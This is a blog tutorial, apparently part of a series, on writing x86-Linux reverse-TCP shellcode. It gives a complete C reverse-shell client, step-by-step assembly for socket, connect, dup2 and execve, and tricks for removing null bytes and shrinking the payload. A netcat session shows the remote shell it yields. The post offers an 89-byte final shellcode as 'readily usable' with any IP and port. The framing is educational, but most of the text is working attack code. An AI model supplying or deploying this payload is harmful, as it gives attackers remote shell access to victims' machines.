Hey fellow pwners!

In the previous post, we wrote standard execve shellcode for x86-Linux systems.

The standard shellcode we wrote will be really helpful if we are exploiting a program on a local machine.

Suppose we find out that a process running in some remote system vulnerable to Code Injection Exploitation. Suppose you inject the standard shellcode to the process running in the remote system, yes, a shell will be spawned but you cannot do anything with it because it is spawned in the remote machine. It is a new process which has no connection with us(attacker’s machine). So, standard shellcode is not useful in such cases.

In this post, we will see a very popular variety of shellcode, the Reverse-TCP Shellcode.

Overview

Consider the scenario that was described above. As an attacker, you should be able to control the vulnerable system remotely. So, you should get the remote machine’s shell on your machine. So, you have to write shellcode which will not only spawn a shell, but also connect the shell to your / attacker’s machine.

It uses TCP / Transmission Control Protocol at the Transport Layer. It is important to use TCP because it is a reliable protocol.

You will see why the shellcode is called Reverse as we progress.

There is an important pre-requisite for this post: You should know basics of Socket Programming - How to use Socket API to write Network Programs.

This is needed because we will be talking to a remote system over the Network.

Let us go ahead and write Reverse-TCP Shellcode.

There are a few definite steps we followed in the previous post to write Standard shellcode. In case you have not gone through the previous post, I strongly suggest you to go through it because we will be follow the same steps to write Reverse-TCP Shellcode.

Create a directory with name post_11 in the rev_eng_series. Put everything belonging to this post in that directory.

Let us get started!

Standard Shellcode

The following is the assembly program we used to generate Standard Shellcode.

 rev_eng_series/post_11$ cat shell32.asm
 xor eax, eax            
 push eax

 push 0x68732f2f
 push 0x6e69622f

 mov ebx, esp

 push eax
 push ebx

 mov ecx, esp

 xor edx, edx            
 mov al, 0xb             
 int 0x80

The following is the program we used to test our shellcode: I have renamed it from code2.c to executeme.c.

 rev_eng_series/post_11$ cat executeme.c 
 #include<stdio.h>
 #include<string.h>
 #include<unistd.h>

 int main() {

     char buffer[1000];
     memset(buffer, '\0', sizeof(buffer));
     read(0, buffer, sizeof(buffer));

     void (*executeme)();
     executeme = buffer;
     executeme();
        
     return 0;
 }

Compile it and keep the tester program ready.

 rev_eng_series/post_11$ gcc executeme.c -o executeme -m32
 executeme.c: In function ‘main’:
 executeme.c:12:12: warning: assignment from incompatible pointer type [-Wincompatible-pointer-types]
 executeme = buffer;
             ^

We will be writing Linux-x86 shellcode. That is why I compiled it to get a 32-bit executable.

Now that we have everything ready, let us go ahead and understand in what ways the attacker can connect to the remote system.

Whenever 2 machines get connected, generally, one machine is the client - which initiates the connection and the other is the server which listens to incoming connections and accepts an incoming connection.

In our case, we also have 2 machines - Attacker machine and Victim Machine. So, there are 2 ways they can get connected.

Attacker machine is the client. Shellcode is written in such a way that the remote system is the server. Once the shellcode is executed, a server is waiting for the attacker to get connected. So, Attacker is the client and Remote System is the server.
Attacker’s machine is the server. It is waiting for connections. Shellcode is written in such a way that the Victim system is the client - the one which tries to get connected to Attacker’s machine.

The shellcode where Victim system is the server and attacker system is client is known as Bind-TCP Shellcode. Think about it from the Victim system’s point of view. For it to behave like a server, it should execute the bind system call. That is why the shellcode is named that way.

The shellcode where Victim system is the client and attacker’s system is the server is known as Reverse-TCP Shellcode. This is because the Victim system connects back to attacker’s system. The connecting back is termed as Reverse assuming that connection in Bind-TCP Shellcode is forward.

I hope you have understood what Reverse-TCP Shellcode is.

How does Reverse-TCP Shellcode work?

Let us first list how our C program should look like. We can inturn understand how Reverse-TCP Shellcode works.

Create a TCP-socket.
Store Attacker’s details.
Execute the connect system call. The TCP-socket created in Step-1 is used to connect to an attacker with Details stored in Step-2.

Redirect Standard Input, Standard Output, Standard Error to that Socket. Consider the followin diagram:

 -------------                               -----------------------------               
 |  Victim   |          TCP-Connection       | Attacker                  |
 |           |-------------------------------|                           |
 | stdin <---| - - - - - < - - - < - - - - - |<--- stdin   <--- Keyboard |
 | stdout--->| - - - - - > - - - > - - - - - |---> stdout  ----> Monitor |
 | stderr--->| - - - - - > - - - > - - - - - |---> stderr  ----> Monitor |
 |           |-------------------------------|                           |
 -------------                               -----------------------------

It is quite intuitive. Whatever attacker types(stdin), it should be the Standard Input of the Victim.
Whatever output the Victim generates, it should be the Standard Output of the Attacker. Same with Standard Error.
Look at the arrow marks and directions.
Keyboard, Monitor are default Input and Output Devices. We can give Input from a file also. Same applies to Output and Error. They can be caught into a file.

Execute the shell and get god access :P

To clearly understand the redirection, consider a case where we did not do this redirection. The 2 systems are connected using TCP and we have a shell on Victim’s side. Then the situation would look like this:

-----------------------------                               -----------------------------
|  Victim                   |       TCP-Connection          | Attacker                  |
|                           |-------------------------------|                           |
| stdin    stdout   stderr  |                               |     stdin <--- Keyboard   |
|   |         |       |     |                               |     stdout ----> Monitor  |
| Keyboard    ---------     |                               |     stderr----> Monitor   |
|                 |         |-------------------------------|                           |
|               Monitor     |                               |                           |  
-----------------------------                               -----------------------------

There is a TCP-Connection but nothing is happening. The shell is spawned in the Victim side. But it will be expecting Input from it’s Keyboard(Default Standard Input). Similarly if there is any Output / Error, it will go to Victim’s Default Output device and Error device(Default: Monitor).

On the attacker’s side, if some command is typed in, nothing happens because that is not being sent to the Victim. If it doesn’t send anything, it will naturally not receive anything.

These are efforts gone in vain. That is why, if we do the redirection properly, we would get what we need.

So, this is how Reverse-TCP Shellcode works in concept.

Reverse-TCP Shellcode

General Steps

The rule is, before writing assembly code which generates shellcode, we write the corresponding C program to understand all the specifics related to shellcode.

Creating a TCP-socket.
```
 //Create a socket. 
 sock_fd = socket(AF_INET, SOCK_STREAM, 0);
```
- The socket system call is called with the required arguments.
- AF_INET is the IPv4 Address Family. It tells that the Network Layer protocol to be used is IPv4.
- SOCK_STREAM tells that it is a connected based byte-stream socket - which is mostly a TCP socket.
- 0 tells the system to use TCP as Transport Layer protocol.
- On success, returns the socket’s File Descriptor, the unique number which is used to identify this socket.
Store Attacker’s details.
```
 //Details about server socket
 struct sockaddr_in serversockaddr;
 serversockaddr.sin_family = AF_INET;
 serversockaddr.sin_port = htons(port);
 serversockaddr.sin_addr.s_addr = inet_addr(ServerIPAddress);
 memset(serversockaddr.sin_zero, '\0', sizeof(serversockaddr.sin_zero));
```
- An instance of sockaddr_in structure is used to store Attacker’s details.
- This structure has 4 members.
- sin_family: Address family - AF_INET
- sin_port: Port Number the server socket is bound to.(In Network Order)
- sin_addr: IPv4 Address in numerical form(not in dot notation).
- sin_zero: Just padding of zeroes.
Connect to Attacker.
```
 // Connect system call
 connect(sock_fd, (struct sockaddr *)&serversockaddr, sizeof(serversockaddr));
```
- The connect function connects socket with File Descriptor = sock_fd to a socket with Details in serversockaddr (An instance of sockaddr_in structure)
Redirection of victim’s stdin, stdout and stderr.
```
 //Redirect stdin, stdout and stderr to that socket
 dup2(sock_fd, 0);
 dup2(sock_fd, 1);
 dup2(sock_fd, 2);
```
- The following is dup2’s manual page.
```
  dup2()
  The dup2() system call performs the same task as dup(), but instead of using the low‐
  est-numbered  unused  file  descriptor,  it  uses  the descriptor number specified in
  newfd.  If the descriptor newfd was previously open, it  is  silently  closed  before
  being reused.
```
- Note that 0 is the File Descriptor of Standard Input, 1 is the File Descriptor of Standard Output and 2 is the File Descriptor of Standard Error.
- As discussed in the previous section, redirection is done using dup2 System call. 0, 1 and 2 are made duplicate file descriptors of sock_fd. So, they all are File Descriptors of the socket we created in Step-1.
- As 0 is identified as Standard Input and 0 is the File Descriptor of the socket, the socket is Standard Input. In the same way, the socket is the Standard Output and Standard Error.

Execute a shell.

 //Execve system call to run a shell. 
 char *arg[2];
 arg[0] = "/bin/sh";
 arg[1] = NULL;

 execve(arg[0], arg, 0x00);

This is running execve system call to get a shell.

C Program for Reverse-TCP Shellcode

The following is the complete C program along with some error-handling.

rev_eng_series/post_11$ cat client.c
#define _GNU_SOURCE

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<unistd.h>
#include<fcntl.h>

void err_exit(const char *errmsg) {
    fprintf(stderr, "%s\n", errmsg);
    exit(-1);
}

int main(int argc, char **argv) {

    if(argc != 3) {
        fprintf(stdout, "Usage: $ %s <ServerIPAddress> <ServerPortNo> \n", argv[0]);
        exit(-1);
    }

    // Required variables
    int sock_fd;
    unsigned short port;
    char *ServerIPAddress;
    socklen_t sock_size;

    ServerIPAddress = argv[1];
    port = htons(atoi(argv[2]));

    //Create a socket. 
    sock_fd = socket(AF_INET, SOCK_STREAM, 0);
    if(sock_fd == -1)
        err_exit("Error: Unable to open a socket");


    //Details about server socket
    struct sockaddr_in serversockaddr;
    serversockaddr.sin_family = AF_INET;
    serversockaddr.sin_port = port;
    serversockaddr.sin_addr.s_addr = inet_addr(ServerIPAddress);
    memset(serversockaddr.sin_zero, '\0', sizeof(serversockaddr.sin_zero));

    //Connect system call
    if(connect(sock_fd, (struct sockaddr *)&serversockaddr, sizeof(serversockaddr)) == -1)
        err_exit("Error: Unable to connect to server");

    printf("Connection established with server\n");

    //Redirect stdin, stdout and stderr to that socket
    dup2(sock_fd, 0);
    dup2(sock_fd, 1);
    dup2(sock_fd, 2);

    //Execve system call to run a shell. 
    char *arg[2];
    arg[0] = "/bin/sh";
    arg[1] = NULL;

    
    execve(arg[0], arg, 0x00);
    
    close(sock_fd);

    return 0;
}

Let us compile it and run it.

 rev_eng_series/post_11$ gcc client.c -o client -m32 
 rev_eng_series/post_11$ ./client 127.0.0.1 5000
 Error: Unable to connect to server
 rev_eng_series/post_11$ ./client 127.0.0.1 10000
 Error: Unable to connect to server

It is not able to connect to server. This is because no such server is running.

Let us use netcat(nc) to run a server.
- Before running netcat, come to the root directory of your system. Let us run the server from here.
```
  /$ nc -l 127.0.0.1 -p 5000 -v
  Listening on [127.0.0.1] (family 0, port 5000)
```
- Now, a server is running at IP Address = 127.0.0.1 and Port Number = 5000
Open up a new terminal and run the client program.
```
 rev_eng_series/post_11$ ./client 127.0.0.1 5000
 Connection established with server
```
- That is at the client side. We know the connection is established. Note that client is run from rev_eng_series/post11 directory.
- The interesting part is at the server. If everything is gone right, then we would have a shell at the server side. Let us check it out.
```
  /$ nc -l 127.0.0.1 -p 5000 -v
  Listening on [127.0.0.1] (family 0, port 5000)
  Connection from [127.0.0.1] port 5000 [tcp/*] accepted (family 2, sport 47722)
  ls
  client
  client.c
  executeme
  executeme.c
  shell32.asm 
  pwd
  /home/adwi/ALL/rev_eng_series/post_11
```
- Bingo! You have a shell right there. So, we got our C program right.
- Play around with it a little bit, try it with different Port Numbers, IP Addresses(from the available). Get comfortable with the concept of Reverse-TCP Shellcode.

Assembly program for Reverse-TCP Shellcode

This is obviously not as simple as Standard Shellcode. In fact, Standard Shellcode is a part of Reverse-TCP Shellcode. So, with the C program as reference, let us go ahead and write assembly code for each individual part and then combine them together to give the complete program.

Consider the server is at IP Address = 127.1.1.1, Port Number = 10000

Creating a TCP-socket.
- In C, we did it like this:
```
  socket(AF_INET, SOCK_STREAM, 0);
```
- In x86 assembly,
  - We first have to load socket’s system call number into eax.
  - Then value of AF_INET into ebx - First Argument
  - Value of SOCK_STREAM into ecx - Second Argument
  - 0 into edx - Third Argument
  - Issue an Interrupt - int 0x80
- You can find system call numbers of all system calls in the file /usr/include/asm/unistd_32.h. The following is socket’s system call number.
```
  #define __NR_socket 359
```
- You can find values of all Address Families in the file /usr/include/bits/socket.h.
```
  #define PF_INET         2       /* IP protocol family.  */
  #define AF_INET         PF_INET
```
  - So, Value of AF_INET = 2
- You can find values assigned to different types of sockets in /usr/include/socket_type.h
```
  SOCK_STREAM = 1,              /* Sequenced, reliable, connection-based
                         byte streams.  */
  #define SOCK_STREAM SOCK_STREAM
```
- With everything found out, we can write assembly code for creating a socket.
```
  ; Creating a socket
  mov eax, 359
  mov ebx, 0x2
  mov ecx, 0x1
  mov edx, 0x0
  int 0x80

  ; Store the socket File Descriptor in ebx
  mov ebx, eax
```
- If this is successfully executed, eax will have new socket’s File Descriptor.
Store Attacker’s details.
- First, let us look at sockaddr_in structure.
```
  struct sockaddr_in {
      unsigned short int sin_family;
      unsigned short int sin_port;
      struct in_addr sin_addr;
      unsigned char sin_zero[sizeof(struct sockaddr) - sizeof(unsigned short) - sizeof(struct in_addr)];
  };
```
  - You can find out that sin_zero is of size 8 bytes. Just write a program and get sizes of all members.
- At C Level, we have structures to define something like this. At assembly level, as we have seen, there are only basic data-types like byte, word, dword. There are no int, char, short etc., So, how do we store this? We have to understand how data in a structure is stored.
- In C, we did it in the following manner:
```
  //Details about server socket
  struct sockaddr_in serversockaddr;
  serversockaddr.sin_family = AF_INET;
  serversockaddr.sin_port = port;
  serversockaddr.sin_addr.s_addr = inet_addr(ServerIPAddress);
  memset(serversockaddr.sin_zero, '\0', sizeof(serversockaddr.sin_zero));
```
- A members of a structures are almost same as having bunch of independent variables. Let me take the above structure as an example. sockaddr_in structure has 4 members - sin_family, sin_port, sin_addr and sin_zero. They are same as
```
  unsigned short int var1 = AF_INET;
  unsigned short int var2 = port;
  unsigned int var3 = inet_addr(ServerIPAddress);
  unsigned char var4[8] = NULL;
```
- Only difference between a structure with 4 members and 4 variables with data-types same as members of that structure is that all members of the structure are stored in a contiguous manner. But independent variables many be stored non-contiguously. This is how members of this structure stored.
```
  Addr: <sin_family - 2 bytes><sin_port - 2 bytes><sin_addr - 4 bytes><sin_zero - 8 bytes>
```
  - If Addr points to sin_family, then Addr + 2 points to sin_port, Addr + 4 points to sin_zero. This is what I mean by contigious manner.
  - This property of a structure gives us an advantage while storing it in memory.
- Let us see how we can store Attacker’s details in memory. First point is, we will be using only Stack memory. Keep in mind that Stack is 4-byte aligned in a 32-bit environment. Take a look at the following stack arrangement.
```
                  <---------------4 bytes------------------>

  esp       -->   <sin_family - 2 bytes><sin_port - 2 bytes>
  esp + 0x4 -->   <----------sin_addr - 4 bytes------------>
  esp + 0x8 -->   <--------------0x00000000---------------->
  esp + 0xc -->   <--------------0x00000000---------------->
```
  - This is exactly how an instance of sockaddr_in structure look in memory. So, let us go ahead and store the details.
  - sin_family = AF_INET = 2
  - sin_port = htons(port) = htons(10000) = 0x1027
  - sin_addr is a struct in_addr which has only one element - unsigned int s_addr.
  - sin_addr.s_addr = inet_addr(“127.1.1.1”) = 0x7f010101
  - sin_zero is an array of 8 0s.
  - esp is the Pointer pointing to struct sockaddr_in here.
- Now that we have figured out how the memory should look like, let us write assembly code which make that happen.
```
  push 0x0
  push 0x0
  push 0x0
  push 0x0
  mov word [esp], 0x2
  mov word [esp + 0x2], 0x1027        ; htons(10000)
  mov dword[esp + 0x4], 010101017f    ; inet_addr("127.1.1.1")
  mov dword[esp + 0x8], 0x00000000
  mov dword[esp + 0xc], 0x00000000

  ; Store the Pointer pointing to struct sockaddr_in in ecx. 
  mov ecx, esp
```
Connect to Attacker.
- This is how it is done at C-level.
```
      // Connect system call
      connect(sock_fd, (struct sockaddr *)&serversockaddr, sizeof(serversockaddr));
```
- In x86 assembly,
  - Load connect’s system call number into eax.
  - Load sock_fd into ebx - First Argument
  - Load &serversockaddr - pointer to (struct sockaddr_in) into ecx - Second Argument
  - Load sizeof(serversockaddr) into edx - Third Argument
- Refering to /usr/include/asm/unistd_32.h,
```
  #define __NR_connect 362
```
  - So, system call number of connect is 362
- sock_fd is already stored in ebx. Check Step-1(creation of socket).
- Pointer is stored in ecx - Check previous step.
- Let us calculate the size of serversockaddr - which is nothing but sizeof(struct sockaddr_in). It is 2 + 2 + 4 + 8 bytes = 16 bytes.
- With these details, let us write the corresponding x86 code:
```
  mov eax, 362
  ; ebx already has File Descriptor
  ; ecx already has the Pointer
  ; mov edx, 16
  int 0x80
```

Redirection of victim’s stdin, stdout and stderr.

This is how we did it in C.

  //Redirect stdin, stdout and stderr to that socket
  dup2(sock_fd, 0);
  dup2(sock_fd, 1);
  dup2(sock_fd, 2);

It is pretty straight forward in x86 now.
- Find the system call number of dup2 and load it into eax.
- ebx already has sock_fd.
- ecx = 0, 1 or 2.

Here is the x86 code for this:

  mov eax, 63
  ; ebx already has the File Descriptor
  mov ecx, 0x00
  int 0x80

  mov eax, 63
  mov ecx,0x01
  int 0x80

  mov eax, 63
  mov ecx, 0x2
  int 0x80
    
  ; Redirection done

Get a shell:

Let us use the code we had written in the previous post here.

  ; execve("/bin/sh", argv, 0x00)
  xor eax, eax            ; Set eax = 0
  push eax

  push 0x68732f2f
  push 0x6e69622f

  mov ebx, esp

  push eax
  push ebx

  mov ecx, esp

  xor edx, edx            ; Set edx = 0
  mov al, 0xb             ; Set eax = 0xb
  int 0x80

With that, we have completed writing assembly code for all 5 steps.

Let us add code for exit in case the reverse-tcp assembly code fails.
```
 mov eax, 0x01
 mov ebx, 0x00
 int 0x80
```

With that, we have a completed program. You can download the complete program here. I have not made any changes with respect to assembly code. It is what we have written in the above 6 steps. I have added a few more comments which will help you understand the program better.

Now that we have written the program, let us test it.

Run server first:

 /$ nc -l 127.1.1.1 -p 10000 -v
 Listening on [127.1.1.1] (family 0, port 10000)

Get the executable revshell and run it.

 rev_eng_series/post_11$ nasm revshell.asm -f elf32
 rev_eng_series/post_11$ ld revshell.o -o revshell -m elf_i386
 rev_eng_series/post_11$ ./revshell

Reaction on the server side:

 /$ nc -l 127.1.1.1 -p 10000 -v
 Listening on [127.1.1.1] (family 0, port 10000)
 Connection from [127.0.0.1] port 10000 [tcp/webmin] accepted (family 2, sport 59908)

It says connection accepted.

Let us try a few commands and check:

  ls /
  bin
  boot
  cdrom
  core
  dev
  etc
  home
  initrd.img
  initrd.img.old
  lib
  lib32
  lib64
  libx32
  lost+found
  media
  mnt
  opt
  proc
  root
  run
  sbin
  snap
  srv
  sys
  tmp
  usr
  var
  vmlinuz
  vmlinuz.old
  whoami
  adwi

Bingo!! You now have a functioning x86-Linux assembly Reverse-TCP program.

Extract shellcode from revshell assembly program

It is a huge program. Size of shellcode is 156 bytes. I have extracted it for you and stored it in revshell_shellcode.c. Let us compile revshell_shellcode.c and run it.

rev_eng_series/post_11$ gcc revshell_shellcode.c -o revshell_shellcode -m32 -zexecstack

First open a server with IP Address = “127.1.1.1” and Port Number 10000 and then run this program. You will see that this shellcode works properly.

Now, our basic work is done. We have working Reverse-TCP Shellcode. There are 2 more things to do. First is to remove all NULL Characters in order to make our Shellcode more reliable. Second is to reduce the number of bytes in the Shellcode.

Writing No-Null byte Reverse-TCP Shellcode

Removing all NULL Characters from Shellcode might sometimes be difficult. So, instead of just giving the assembly program which will give you No-NULL byte Shellcode, I would like to share the things I did when I to make the assembly program NULL-byte free.

I will be refering to revshell.asm.

Observation 1:
- If we want to load 0 into a register, we generally do this.
```
  mov Reg1, 0x00
  mov Mem, 0x00
```
- As expected, the NULL-bytes are generated in assembly code.
- Instead of using mov instruction, use the xor instruction like this:
```
  xor Reg1, Reg1
```
- xoring the Register with itself will make it’s value 0.
Observation 2:
- Consider the piece of assembly code we wrote to execute the socket system call.
```
  mov eax, 359                            

  mov ebx, 0x2                            
  mov ecx, 0x1                            
  mov edx, 0x0                          

  int 0x80
```
- Consider the Operand sizes of mov eax, 359 . eax is 4 bytes in size. 359 is 2 bytes. What I mean when I say it is a 2-byte number is that you don’t have any Leading NULL-bytes in it’s Hexadecimal representation. Let us take the 359.
  - It is 0x0167. You can see it does not have any Leading NULL-bytes.
- When you use eax - a 4 byte register with a 2-byte number, the assembler will convert the 2-byte number into a 4-byte number by adding Leading NULL-bytes to that 2-byte number. So, 0x0167 becomes 0x00000167 in this case. There they are, 2 NULL-bytes silently creeped into our machine code.
- How do we get rid of this? If register size should be equal to the number size, this we can get rid of NULL-bytes. In this case, instead of using eax, use ax. Now, the instruction becomes mov ax, 359.
- Similarly, you have
```
  mov bl, 0x2
  mov cl, 0x1
  xor edx, edx

  int 0x80
```
- The xor edx, edx is from Observation 1.
- Wait, is it that simple to get rid of NULL-bytes? Actually, no. Everything comes at a cost. Consider this situation where eax = 0xffff1234. After this, mov ax, 359 is executed. What happens? Look at this.
```
  ;eax = 0xffff1234
  mov ax, 359
```
- After this, eax will be 0xffff0167. Note that ax is the 16 Least Significant bits of eax. So, only those are updated with 0x0167. The 16 MSBits are left unchanged.
- This is a problem. We needed eax = 0x0167. We intelligently executed mov ax, 0x0167 but did not take care of the above case. How do we solve this? Initialize all the required registers to 0 in the beginning itself. For example, in this program, we are using eax, ebx, ecx and edx. So, if we initialize those 4 to 0 in the beginning of the program, we would have solved this problem at the cost of 8 extra bytes, but Non-NULL bytes. So, in the beginning of the program, add this.
```
  xor eax, eax
  xor ebx, ebx
  xor ecx, ecx
  xor edx, edx
```
Observation 3:
- If you have to push 0s into the stack, don’t do push 0x00 directly. That will add up to NULL bytes.
- So, instead of that, initialize a register to 0 and push that register. Suppose you have edx = 0. Then do,
```
  push edx
```
- This way, you will avoid NULL-bytes. Again, you will have to initialize some Register to 0. This might cost you some bytes unless you already have a register whose value is 0.
Observation 4: Suppose you have a NULL-byte in your IP Address or Port, then that would be a problem.
- This is one point where Reverse-TCP Shellcode has an advantage over Bind-TCP Shellcode.
- Always, one has to decide the IP Address and Port Number of the Server.
- In Reverse-TCP Shellcode, the Attacker runs the server program. Attacker can make sure that the his/her system has a Non-NULL byte IP Address and Port Number.
- In Bind-TCP Shellcode, the Victim’s system is the Server. What if it’s IP Address has a NULL byte? or the Shellcode tries to bind to a Non-NULL byte Port Number but fails because it is unavailable? These are things not under the control of the Attacker.
- So, with this in mind, Attacker has more control over the whole exploit when Reverse-TCP Shellcode is used.

These are the 4 things I did to completely remove NULL-bytes from our revshell.asm. I suggest you apply all these observations, come up with better, efficient ways to remove NULL-bytes from shellcode. The new assembly program I got after making required changes is revshell2.asm.

Assemble it, link it and run it to confirm.

Let us compare the sizes of revshell and revshell2.

rev_eng_series/post_11$ size revshell
text	   data	    bss	    dec	    hex	filename
156	      0	      0	    156	     9c	revshell
rev_eng_series/post_11$ size revshell2
text	   data	    bss	    dec	    hex	filename
108	      0	      0	    110	     6e	revshell2

That is great! We removed NULL-bytes and also reduced the size of shellcode by 48 bytes.

For revshell2.asm, extract the shellcode and make sure it is working.

Can we do better?

Out of the 2 things we discussed, the first thing is done. We have full functional no-NULL byte Reverse-TCP Shellcode with us. But the problem is it’s size is 108 bytes. Let us try reducing it’s size atleast below 100 bytes.

From here, I will be refering to revshell2.asm.

First thing we can do is the remove the exit code from it. That will shorten the shellcode by 8 bytes.
There is one important observation to make in revshell2.asm. Consider the piece of code where we store the Attacker’s details.
```
 push edx
 push edx
 push edx
 push edx
 mov byte [esp] , 0x2                    ; AF_INET - 2 bytes
 mov word [esp + 0x2], 0x1027            ; htons(0x2710) - 2 bytes
 mov dword[esp + 0x4], 0x0101017f        ; IP Address - 4 bytes
```
- The first two push edx instructions are equivalent to setting the sin_zero member of sockaddr_in structure to 0.
- I read about where sin_zero could be used. Got to know that it is padding and might be used in the future. This is a stackoverflow answer I referred to.
- So, I decided to remove the first 2 push edx instructions. Now, the code looks like this:
```
  push edx
  push edx
  mov byte [esp] , 0x2                    ; AF_INET - 2 bytes
  mov word [esp + 0x2], 0x1027            ; htons(0x2710) - 2 bytes
  mov dword[esp + 0x4], 0x0101017f        ; IP Address - 4 bytes
```
- Note that the first “push edx” is overwritten by the mov dword[esp + 0x4], 0x0101017f. So, instead of pushing edx(whose value is 0) and then writing what we want into the stack, let us push whatever we want to write in the first place. We wanted to write the IP Address. Let us push it and remove one push edx instruction. Now, the code looks like this:
```
  push 0x0101017f
  push edx
  mov byte [esp], 0x2
  mov word[esp + 0x2], 0x1027
```

NOTE: It is important not to make unrealistic assumptions in order to make the Shellcode smaller. This might affect the reliability of the Shellcode.

With these changes, our shellcode becomes 89 bytes. We have successfully reduced to below 100 bytes.

The file revshell3.asm has the assembly program which when assembled gives the 89 no-NULL byte shellcode.

The file final_reverseshellcode.c has the final shellcode which you can readily use. I have highlighted the IP Address and Port Number in it. You can change it to whatever IP Address and Port Number you want and use it easily.

With that, we have successfully written Usable x86-Linux Reverse-TCP Shellcode.

The sole aim of these 3 posts - Link1, Link2 and this post is to give a flavor of what Shellcode is, how to write shellcode.

We saw how to write 2 types of shellcode - Standard and Reverse-TCP and have understood the concept behind Bind-TCP. The purpose of Shellcode can be anything. It can be just to display contents of /etc/passwd, code which shutdowns the victim system, reboots it. These are just a few things. You can write code to make the victim machine to do anything.

That is it for this post.

In the next post, let us go back to Buffer Overflow Vulnerability. We will see how to exploit BOFs with the shellcode we wrote. We will see how the Operating System defends itself against these exploit methods.

I learnt a lot while writing this post. I hope even you learnt something too.

Thank you!

Go to previous post - Exploitation using Code Injection - Part2
Go to next post - Buffer Overflow Vulnerability - Part3